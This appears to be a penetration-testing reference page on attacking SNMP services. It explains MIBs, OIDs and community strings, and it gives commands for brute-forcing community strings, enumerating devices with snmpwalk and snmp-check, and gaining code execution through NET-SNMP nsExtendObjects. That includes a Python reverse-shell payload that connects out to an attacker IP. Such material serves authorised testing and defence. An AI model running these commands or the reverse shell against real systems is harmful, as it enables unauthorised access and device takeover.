# 161, 162, 10161, 10162 - SNMP

### MIB

MIB is an **independent format for storing device information**. A MIB is a **text** file in which all queryable **SNMP objects** of a device are listed in a **standardized** tree hierarchy. It contains at **least one `Object Identifier` (`OID`)**, which, in addition to the necessary **unique address** and a **name**, also provides information about the type, access rights, and a description of the respective object.

The **MIBs do not contain data**, but they explain **where to find which information** and what it looks like, which returns values for the specific OID, or which data type is used.

### OIDs

**OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. \
**Vendors define private branches including managed objects for their own products.**

<figure><img src="https://2314265932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLZ9hPT4FtAP57VrTApYv%2Fuploads%2FezabuB67sxPOTglqci8D%2Fimage.png?alt=media&#x26;token=7fef3bd8-127f-4dfd-b297-0bca57f0e325" alt=""><figcaption></figcaption></figure>

You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** (like `1.3.6.1.2.1.1`) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\


### Community Strings

* **`public`** mainly **read only** functions
* **`private`** **Read/Write** in general

**Brute force community strings:**

```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```

### Enumerate SNMP

```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .

snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP]
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] 1.3.6.1.2.1.4.34.1.3 #Get IPv6, needed dec2hex
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] NET-SNMP-EXTEND-MIB::nsExtendObjects #get extended
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] .1 #Enum all

snmp-check [DIR_IP] -p [PORT] -c [COMM_STRING]
snmp-check 10.10.11.136

nmap --script "snmp* and not snmp-brute" <target>
```

### SNMP to RCE

**Add a new command** by appending an additional row to the “**nsExtendObjects**” table.

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```

**Execute the command** that we injected to the SNMP by enumerating it using snmpwalk:

```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```

Example on **reverse shell payload**:

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```

It could also be possible to gain control over a device by **changing credentials** through SNMP.

### Interesting Files

```bash
snmp.conf
snmpd.conf
snmp-config.xml
```
